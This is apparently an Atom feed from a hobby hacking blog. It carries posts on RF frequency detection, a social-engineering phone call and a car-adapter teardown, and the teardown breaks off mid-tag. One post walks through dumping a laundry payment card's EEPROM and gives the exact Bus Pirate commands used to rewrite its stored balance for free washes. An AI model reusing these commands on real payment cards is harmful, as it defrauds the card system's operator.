<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4618371342657995948</id><updated>2011-11-28T01:48:50.761+01:00</updated><category term='linux'/><category term='arduino'/><category term='ath5k'/><category term='driver'/><category term='hack'/><category term='crash'/><category term='Intro'/><category term='radio'/><category term='boot'/><category term='social engineering'/><category term='sms'/><category term='access point'/><category term='smartcard'/><category term='MITM'/><category term='wifi'/><category term='os'/><category term='boost'/><category term='alix3d3'/><category term='rogue AP'/><category term='SPI'/><category term='curl'/><category term='assembly'/><category term='networking'/><category term='gain'/><category term='association'/><category term='Web'/><category term='madwifi'/><category term='squid'/><category term='gmaiil'/><category term='UHF'/><category term='canned responses'/><category term='antenna'/><category term='tips'/><category term='spam'/><category term='email'/><category term='DoS'/><category term='x86_64'/><category term='udev'/><category term='EEPROM'/><category term='IP forwarding'/><category term='stuck beacon'/><category term='calculator'/><title type='text'>Because life is a hack !</title><subtitle type='html'>Hacks that make sometimes your life easier... or funnier</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>33</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-6093208347154580681</id><published>2010-09-12T18:45:00.000+02:00</published><updated>2010-09-12T18:45:00.985+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='radio'/><category scheme='http://www.blogger.com/atom/ns#' term='UHF'/><title type='text'>A primer on the design of a frequency detector (Part 1)</title><content type='html'>In French, we say "Theory is like practice, except in practice". I am definitely experiencing that. While trying to understand electronics, especially electronics for radio frequencies (RF), I am hitting all sorts of difficulties I want to share. It always amazes me when I see a radio, a WIFI or something else wireless. I've done a lot of theory during my studies (digital signal processing, information theory, etc.) but I've never built my own radio. Besides that, radios are known to be pure analog devices, so by definition, it's black magic stuff.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;My motivation behind that is that we see more and more devices using wireless technology and it still remains pretty difficult to know what is shipped into the air. Of course you could use very expensive hardware, but the here, the goal is to make something affordable, something below 10$.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;The first step when trying to understand a system is to know the frequency it uses. Nowadays, you can open the device and identify the RF chip. But sometimes, you are just unable to do it (nothing written on the chip, etc). But how can we know on which frequency it operates ? The idea here is to have a device that will try to determine a "known frequency". For example, a weather station will transmit the data at 315MHz. There are frequencies that are reserved for this type of use and for the ease of the design, will only assume the following frequencies: 315MHz, 390MHz, 434MHz. &lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;To detect if there is a frequency in the air, we can use a logarithmic detector like the &lt;a href="http://www.analog.com/static/imported-files/data_sheets/AD8313.pdf"&gt;AD8313&lt;/a&gt; from analog device. &lt;/div&gt;&lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_VjvtY-L1RNE/TIz7McrvDlI/AAAAAAAAN4o/tIw_clZCw6s/s1600/2010-09-12-180734_705x419_scrot.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 200px;" src="http://3.bp.blogspot.com/_VjvtY-L1RNE/TIz7McrvDlI/AAAAAAAAN4o/tIw_clZCw6s/s400/2010-09-12-180734_705x419_scrot.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5516059834898648658" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/center&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;The goal of this chip is to output a certain tension based on the input. Actually, they are essentially just cascaded amplifier.  This is exactly what we are looking for: depending on the input it will capt in the air, the output will have more or less tension. However, this information is not enough. Indeed, you will have a high input if you are close to you weather station, but also if you are close to you Wifi station. In other words, the chip alone is not able to distinguish the difference in frequency. &lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;To solve this issue, we will add different filters in front of the input, thus only the frequencies we are interested in will be detected. This brings us to a new hot topic: the filter design. &lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-6093208347154580681?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/6093208347154580681/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2010/09/primer-on-design-of-frequency-detector.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/6093208347154580681'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/6093208347154580681'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2010/09/primer-on-design-of-frequency-detector.html' title='A primer on the design of a frequency detector (Part 1)'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_VjvtY-L1RNE/TIz7McrvDlI/AAAAAAAAN4o/tIw_clZCw6s/s72-c/2010-09-12-180734_705x419_scrot.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-9153946352090967581</id><published>2010-07-01T19:42:00.014+02:00</published><updated>2010-07-02T20:30:30.106+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SPI'/><category scheme='http://www.blogger.com/atom/ns#' term='smartcard'/><category scheme='http://www.blogger.com/atom/ns#' term='EEPROM'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title type='text'>Free laundry for everybody :)</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Where I live, there is a room with the laundry machine. Once every other week, you can use it to wash your clothes. &lt;br /&gt;We have different systems to pay: (pseudo) smart card, coins, etc, it depends on where you live. In my case, it was a pseudo smart card you have to refill with money (to the concierge) every time it gets empty.&lt;br /&gt;&lt;br /&gt;Here is how it looks like:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_VjvtY-L1RNE/TCzVbE66-XI/AAAAAAAANGk/N0y4pEvdq1s/s1600/photo.JPG"&gt;&lt;img style="cursor: pointer; width: 300px; height: 400px;" src="http://1.bp.blogspot.com/_VjvtY-L1RNE/TCzVbE66-XI/AAAAAAAANGk/N0y4pEvdq1s/s400/photo.JPG" alt="" id="BLOGGER_PHOTO_ID_5488996707011852658" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/center&gt;&lt;br /&gt;I use the word "pseudo" smart card, because as you can see, it is not really one. Actually, there are only 6 contacts (instead of 8) and there is a sort of bus driving the signal somewhere in the white plastic.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;The white plastic was heavily attached to the card, so to remove it, I put the whole card in an &lt;a href="http://en.wikipedia.org/wiki/Acetone"&gt;acetone&lt;/a&gt; bath. After few minutes, I was able to remove it without any pain.&lt;br /&gt;&lt;br /&gt;I was amazed to see a simple EEPROM underneath. It already meant that replay attacks were possible, even if we didn't know how to interpret the content: save the content, do your laundry and restore the content afterward.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_VjvtY-L1RNE/TCzXg7LmpOI/AAAAAAAANGs/EIoG6TOBNSU/s1600/P1020497.JPG"&gt;&lt;img style="cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_VjvtY-L1RNE/TCzXg7LmpOI/AAAAAAAANGs/EIoG6TOBNSU/s400/P1020497.JPG" alt="" id="BLOGGER_PHOTO_ID_5488999006499939554" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/center&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;We can identify the chip and deduce from the logo that the manufacturer is "National":&lt;br /&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;br /&gt;71AR&lt;br /&gt;93C46&lt;br /&gt;M8&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;I found a &lt;a href="http://www.pjrc.com/tech/8051/93CS46.pdf"&gt;similar datasheet&lt;/a&gt;. However, we'll see that it is not exactly the same.&lt;br /&gt;Since I didn't want to be invasive on the card, I bought a "season 2 interface". This device is usually used by satellite pirate and is handy to do MITM on smartcards. I got mine for 8€.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_VjvtY-L1RNE/TCza6vcwwXI/AAAAAAAANG0/I7kGHBxDZzk/s1600/P1020498.JPG"&gt;&lt;img style="cursor: pointer; width: 400px; height: 300px;" src="http://1.bp.blogspot.com/_VjvtY-L1RNE/TCza6vcwwXI/AAAAAAAANG0/I7kGHBxDZzk/s400/P1020498.JPG" alt="" id="BLOGGER_PHOTO_ID_5489002748562162034" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/center&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;I also soldered 8 pins on the back of the interface, to inject my signals (I/O of the SPI). &lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_VjvtY-L1RNE/TCza8ki4b6I/AAAAAAAANG8/p-uHnczENe4/s1600/P1020499.JPG"&gt;&lt;img style="cursor: pointer; width: 400px; height: 300px;" src="http://1.bp.blogspot.com/_VjvtY-L1RNE/TCza8ki4b6I/AAAAAAAANG8/p-uHnczENe4/s400/P1020499.JPG" alt="" id="BLOGGER_PHOTO_ID_5489002779994779554" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/center&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Since we have the datasheet, we can make the pin ring with a multimeter and deduce what corresponds to what on the smart card contacts:&lt;br /&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;br /&gt;X   --- X (not assigned)&lt;br /&gt;Di  --- Sk&lt;br /&gt;Do  --- CS&lt;br /&gt;GND --- VCC&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;I'll make a long story short, because I had different, not really relevant issues. To inject the signal, I used the &lt;a href="http://code.google.com/p/the-bus-pirate/"&gt;"Bus pirate"&lt;/a&gt; (BP) and to verify that the injected signal was correct, I used the &lt;a href="http://www.adafruit.com/blog/2010/02/25/prototype-openbench-logic-sniffer-logic-analyzer/"&gt;OpenBench Logic Analyzer&lt;/a&gt; (OLA). The BP is a cool piece of hardware, because there is an interpreter that will help you to send the correct signal with the correct synchronization, so no need to write a program for it. Since I was not mastering it, I used the OLA to make sure the signal was correct. According to the datasheet, the sequence to send is  &lt;i&gt;0y110 + 6 bit address&lt;/i&gt;. After some trial and error, I finally was able to dump the whole memory, by sending something like the following command in raw3wire mode, 5V:&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span"  style="font-size:85%;"&gt;]-^^_^ _^:6 r:1024[&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;Actually, by looking at the longest prefix, we figure out that the memory is 128 B long and looks like the following:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;READ:&lt;br /&gt;0x03 0xE8 0x03 0xC8 0x03 0xD7 0x02 0xE9 0x00 0x00&lt;br /&gt;0x00 0x04 0x03 0xEA 0x0B 0x5E 0x01 0xAA 0x0B 0x5E&lt;br /&gt;0x00 0x00 0x0B 0x5E 0x00 0x00 0x00 0x00 0x00 0x00&lt;br /&gt;0x03 0xE8 0x00 0x04 0x03 0xEA 0x0B 0x5E 0x01 0xAA&lt;br /&gt;0x0B 0x5E 0x0B 0x5E 0x00 0x00 0x00 0x00 0x00 0x00&lt;br /&gt;0x25 0xAE 0x15 0xB3 0x1A 0x0A 0x00 0x00 0x00 0x00&lt;br /&gt;0x00 0x00 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF&lt;br /&gt;0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF&lt;br /&gt;0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF&lt;br /&gt;0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF&lt;br /&gt;0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF&lt;br /&gt;0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF&lt;br /&gt;0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The smallest granularity is 2B when accessing the card (just make the division and it'll fit). At the first look, I don't know what these values really are. So I decided to go to the laundry room, put my card in the reader and pay for a wash. The price was 3.-. Then I dumped the content again and made a diff:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;READ:&lt;br /&gt;0x03 0xE8 0x03 0xC8 0x03 0xD7 0x02 0xE9 0x00 0x00&lt;br /&gt;0x00 0x04 0x03 0xEA &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);font-size:85%;" &gt;0x0A 0x32&lt;/span&gt;&lt;span style="font-size:85%;"&gt; 0x01 0xAA &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);font-size:85%;" &gt;0x0A 0x32&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;0x00 0x00 &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);font-size:85%;" &gt;0x0A 0x32&lt;/span&gt;&lt;span style="font-size:85%;"&gt; 0x00 0x00 0x00 0x00 0x00 0x00&lt;br /&gt;0x03 0xE8 0x00 0x04 0x03 0xEA &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);font-size:85%;" &gt;0x0A 0x32&lt;/span&gt;&lt;span style="font-size:85%;"&gt; 0x01 0xAA&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);font-size:85%;" &gt;0x0A 0x32 0x0A 0x32&lt;/span&gt;&lt;span style="font-size:85%;"&gt; 0x00 0x00 0x00 0x00 0x00 0x00&lt;br /&gt;0x25 0xAE 0x15 0xB3 0x1A 0x0A 0x00 0x00 0x00 0x00&lt;br /&gt;0x00 0x00 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF&lt;br /&gt;0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF&lt;br /&gt;0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF&lt;br /&gt;0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF&lt;br /&gt;0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF&lt;br /&gt;0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF&lt;br /&gt;0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;This is interesting, 6 regions in memory changed somehow. But what does 0x0A32 means ? This is 2610, and previously, we had 0x0B5E which are 2910. Remember I told you it costed me 3.-... and what I didn't tell you was the amount of money remaining on my card: 29.10.-. So it is just written in clear in 6 different regions in memory, I couldn't believe it !&lt;br /&gt;&lt;br /&gt;The next step was to write 9990 (0x2706) in these memory position and see if it worked. However, to write, according to the datasheet, we have to set WEN, and we just cannot, since all the pinouts are taken. Thus, this is not the good method. I tried to send a "write" command, but without any success :(.&lt;br /&gt;&lt;br /&gt;When I was looking for the datasheet of the chip, I found also &lt;a href="http://www.atmel.com/atmel/acrobat/doc0172.pdf"&gt;this one&lt;/a&gt;. This is an Atmel, but it turns out the protocol is quite similar. We see there is a "Write Enable", with sequence &lt;i&gt;0y10011XXXX&lt;/i&gt; that has to precede every programming mode.&lt;br /&gt;If we now send a command like&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:85%;"&gt;]-^_^^-^^^^^^^^[ ]-^_^-^ -^^^^^^ 0x12:2[ ]-^^_^ -^^^^^^ r:128[&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;the magic occurs and we see, hopefully, that the content has been correctly written to the EEPROM. This is a good news, so we can now modify the 6 areas we previously found. I did a small script to calculate the offsets, but basically, we need to modify by doing this:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;span class="Apple-style-span"  style="font-size:85%;"&gt;]-^_^^-^^^^^^^^[ ]-^_^-^ _^^^-^^^ 0x27 0x06[    : 7th word&lt;br /&gt;]-^_^^-^^^^^^^^[ ]-^_^-^ _^^-^_^^-^ 0x27 0x06[  : 9th word&lt;br /&gt;]-^_^^-^^^^^^^^[ ]-^_^-^ _^^-^_^-^^ 0x27 0x06[  : 11th word&lt;br /&gt;]-^_^^-^^^^^^^^[ ]-^_^-^ _^-^_^^-^_^ 0x27 0x06[   : 18th word&lt;br /&gt;]-^_^^-^^^^^^^^[ ]-^_^-^ _^-^_^-^_^^ 0x27 0x06[   : 20th word&lt;br /&gt;]-^_^^-^^^^^^^^[ ]-^_^-^ _^-^_^-^_^-^ 0x27 0x06[  : 21th word&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Of course, this can be written in a shorter manner, but for clarity, I leave it this way. To sum up, we just modified the 6 areas in memory to put 9990 (0x2706) in them (99.90 CHF), because it sounded like the mechanism was working this way. Now, let's go back to the laundry room to see if it works as expeced:&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_VjvtY-L1RNE/TC4hYGNV18I/AAAAAAAANHE/nGOcxxG7oQg/s1600/photo.JPG"&gt;&lt;img style="cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_VjvtY-L1RNE/TC4hYGNV18I/AAAAAAAANHE/nGOcxxG7oQg/s400/photo.JPG" alt="" id="BLOGGER_PHOTO_ID_5489361693678360514" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;This is a very small hack, but still nice. I'm not sure this company is still selling this kind of "smart cards", they probably replaced them with real smart cards nowadays. I wouldn't have done this hack without the help of Ian &amp; Sjaak from the dangerous prototypes forum, so greetz to them.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-9153946352090967581?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/9153946352090967581/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2010/07/free-laundry-for-everybody.html#comment-form' title='19 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/9153946352090967581'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/9153946352090967581'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2010/07/free-laundry-for-everybody.html' title='Free laundry for everybody :)'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_VjvtY-L1RNE/TCzVbE66-XI/AAAAAAAANGk/N0y4pEvdq1s/s72-c/photo.JPG' height='72' width='72'/><thr:total>19</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-974449435874938263</id><published>2010-06-10T20:32:00.005+02:00</published><updated>2010-07-02T07:05:11.333+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='social engineering'/><title type='text'>When a stranger calls you at work...</title><content type='html'>Hey guys,&lt;br /&gt;&lt;br /&gt;I apologize for not being  very active these last times. I've been working and trying to prepare the amateur radio exam (not sure I'll do it, but I'm preparing it...), so nothing very exciting.&lt;br /&gt;&lt;br /&gt;This won't be a technical article, just something that happened to me today. I received an anonymous call at my working place. The guy was a financial advisor who wanted to invest my money. He said that he had contacts within my company and that was the way he got my direct phone call. While speaking a British English, he started to ask me what I was interested in (retirement, etc) and fixed an appointment after asking me a bunch of questions, like my age, if I was single, etc. Actually, I thought it was someone of my company and I trusted him, until he asked me my email address. I gave him my address, but I was puzzled: how cannot he know my email address if he had a contact in my company ? That was weird. &lt;br /&gt;I was really concerned about the privacy issue here. I decided to contact the HR and I  explained to them what just happened. I was also pissed off they gave my direct contact to some stranger. It turned out that they were absolutely not aware of this activity and decided to directly contact them and they swore they never told anyone about my private info. &lt;br /&gt;Meanwhile, I was thinking about how they could find me and I figure out they could have used Linkedin. This is the only place where I put real info about myself... and indeed, the company looked at my profile lately. Sounds pretty easy from here, they know where I work, they call the reception, ask for me and TADA, this is it. &lt;br /&gt;I reported the case to the HR who said that they will sue them if another case is registered.&lt;br /&gt;I know that if I'll go to the meeting, I will probably get out with a new insurance or I don't know what, so I decided to reply that "for security reasons, I have to decline the meeting". I'll classify this as social engineering act, and fuck, it worked very well !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-974449435874938263?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/974449435874938263/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2010/06/when-stranger-call-you-at-work.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/974449435874938263'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/974449435874938263'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2010/06/when-stranger-call-you-at-work.html' title='When a stranger calls you at work...'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-7048740760814609100</id><published>2010-04-03T14:31:00.000+02:00</published><updated>2010-04-03T14:32:41.255+02:00</updated><title type='text'>Analyzing the Fiat Blue&amp;Me iPhone Adapter</title><content type='html'>I recently got a new car, a Fiat Punto to be more precise. The car has a lot of gadgets inside, like the cruise control, USB, bluetooth for the cellphone, etc. It also has the an &lt;a href="http://en.wiktionary.org/wiki/infotainment" class="extiw" title="wikt:infotainment"&gt;infotainment&lt;/a&gt; system called "&lt;a href="http://en.wikipedia.org/wiki/Blue&amp;amp;Me"&gt;Blue&amp;amp;Me&lt;/a&gt;", which is pretty well done, with a not too bad voice control system. Well, I have a USB connector, so I'd like to attach my iPhone in order to listen to my playlist. Sadly, the Blue&amp;amp;Me system is not able to read the iPod/iPhone directly, we need to buy a tiny device:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.autoworld-uk.com/published/CS/ProductImages/3B36078E-2760-4776-947C-A436EB7E174D/71805430.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 238px; height: 172px;" src="http://www.autoworld-uk.com/published/CS/ProductImages/3B36078E-2760-4776-947C-A436EB7E174D/71805430.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This small piece of hardware is charged around 140$ in the Fiat store. It bugs me: why the hell is it so expensive ? Is there any custom hardware inside or what ?&lt;br /&gt;&lt;br /&gt;Let's open it and see what's inside:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;TOP view:&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_VjvtY-L1RNE/S6YR8NbS_dI/AAAAAAAAMEc/ciPAEXRuON8/s1600-h/zoom_on_stm.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 494px; height: 239px;" src="http://3.bp.blogspot.com/_VjvtY-L1RNE/S6YR8NbS_dI/AAAAAAAAMEc/ciPAEXRuON8/s400/zoom_on_stm.png" alt="" id="BLOGGER_PHOTO_ID_5451064125072539090" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;BOTTOM view:&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_VjvtY-L1RNE/S6YYhYpD7FI/AAAAAAAAMEk/cBht6RblqZw/s1600-h/P1020316.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 309px;" src="http://1.bp.blogspot.com/_VjvtY-L1RNE/S6YYhYpD7FI/AAAAAAAAMEk/cBht6RblqZw/s400/P1020316.png" alt="" id="BLOGGER_PHOTO_ID_5451071360807988306" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;STM32F101C8T6: The STM32F101xx access line family incorporates the high-performance  ARM Cortex-M3 32-bit RISC core operating at a 36 MHz frequency,  high-speed  embedded memories (Flash memory up to 128Kbytes and SRAM up  to 16 Kbytes), and an extensive range of enhanced peripherals and I/Os  connected to two APB buses. All devices offer standard communication  interfaces (two I2Cs, two SPIs, and up to three USARTs), one 12-bit ADC  and three general purpose 16-bit timers.&lt;br /&gt;&lt;br /&gt;Price for a single chip: ~5$&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;SMSC USB2512I: The SMSC 2-Port Hub is low power, OEM configurable STT hub  controller IC with 2 downstream ports for embedded USB solutions.&lt;br /&gt;&lt;br /&gt;Price for a single chip: ~5$&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;PL-2303MX: USB to Serial Bridge Controller.&lt;br /&gt;&lt;br /&gt;Price for a single chip: ~7$&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;There is a small chip I wasn't able to identify.&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;There are other passive electronic components, like voltage rectifiers, etc. If you have access to a lab where you can print your own PCB, the overall cost of this tiny adapter is ~20$.&lt;br /&gt;&lt;br /&gt;If you look carefully at how the adapter is designed, you might find that the chips are not placed at right location. The USB2512I(USB Host) chip is close to the  male connector whereas the UART (slave) chip is close to the female USB connector. This does not really correspond to how it should work, since the iPhone [slave] must be connected to a host [aka female input] and the adapter must behave as a slave [aka male output] with respect to the car.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_VjvtY-L1RNE/S6ZCAoKg72I/AAAAAAAAME0/gejBtlBgdaE/s1600-h/iphone_to_car.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: 